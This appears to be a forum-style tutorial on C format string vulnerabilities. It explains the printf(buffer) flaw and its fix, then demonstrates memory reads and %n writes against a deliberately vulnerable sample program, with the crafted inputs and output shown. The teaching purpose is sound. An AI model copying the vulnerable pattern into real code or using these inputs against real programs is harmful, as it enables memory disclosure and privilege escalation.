A format string attack, at its simplest, is this:

char buffer[128];
gets(buffer);
printf(buffer);

There's a buffer overflow vulnerability in there as well, but the point is this: you're passing untrusted data (from the user) to printf (or one of its cousins) that uses that argument as a format string.

That is: if the user types in "%s", you've got an information-disclosure vulnerability, because printf will treat the user input as a format string, and will attempt to print the next thing on the stack as a string. It's as if your code said printf("%s");. Since you didn't pass any other arguments to printf, it'll display something arbitrary.

If the user types in "%n", you've got a potential elevation of privilege attack (at least a denial of service attack), because the %n format string causes printf to write the number of characters printed so far to the next location on the stack. Since you didn't give it a place to put this value, it'll write to somewhere arbitrary.

This is all bad, and is one reason why you should be extremely careful when using printf and cousins.

What you should do is this:

printf("%s", buffer);

This means that the user's input is never treated as a format string, so you're safe from that particular attack vector.

In Visual C++, you can use the __Format_string annotation to tell it to validate the arguments to printf. %n is disallowed by default. In GCC, you can use __attribute__(__printf__) for the same thing.

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:

Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.

Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.